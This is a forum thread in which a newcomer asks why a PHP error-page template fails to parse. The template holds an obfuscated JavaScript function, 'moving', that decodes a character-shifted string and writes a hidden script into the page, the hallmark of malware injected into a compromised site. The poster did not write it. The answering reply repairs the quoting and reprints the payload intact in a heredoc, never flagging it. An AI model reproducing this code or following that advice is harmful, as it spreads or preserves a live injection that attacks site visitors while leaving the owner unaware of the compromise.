I'm new to php and I'm having some trouble with a code error. Can anyone help?


I get this error: "Error in my_thread_global_end(): 1 threads didn't exit PHP Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in exception.php on line 130"


This is the code:

echo "<html>
		<head>
		<title>$title</title>
		</head>
<body><script language = "javascript">function moving(s){
var s1=unescape(s.substr(0,s.length)); var t='';
for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)+7);
document.write(unescape(t));
};
moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%30%3A%1E%2F%31%1E%2F%3F%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script>
		<h1><img src='$wgLogo' style='float:left;margin-right:1em' alt=''>$title</h1>
		";
	}

Ok thanks, i actually didn't write the code, so I'm not sure why that's there

You can write javascript with PHP, but it can be a little tricky.
In the above block of code you are using double-quotes for your echo string echo ", and inside that string you have double quotes surrounding your html property values "javascript" which are escaping your main string. You can't use single quotes in your echo string because you have PHP variables which values you need in your string.

You can try the same thing using a heardoc format...

<?php
echo <<<endline
<html>
<head>
  <title>$title</title>
</head>
<body>
<script type="text/javascript">
function moving( s ) {
  var s1 = unescape( s.substr( 0, s.length ) ); 
  var t = '';
  for( i = 0; i < s1.length; i ++ ) {
    t += String.fromCharCode( s1.charCodeAt( i ) +7 );
    document.write( unescape( t ) );
  }
};
moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%30%3A%1E%2F%31%1E%2F%3F%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); 
</script>
  <h1><img src="$wgLogo" style="float:left; margin-right:1em;" alt="">$title</h1>
endline;
?>
</body>
</html>
}

another option would be to escape any double quotes in the string, for example

"<script language = \"javascript\">"

or

"<script language = 'javascript'>"

A third option would be not to echo it in PHP at all. Just write it the normal way, and when you need to use PHP variables, just open and close PHP tags where needed.

This article has been dead for over six months. Start a new discussion instead.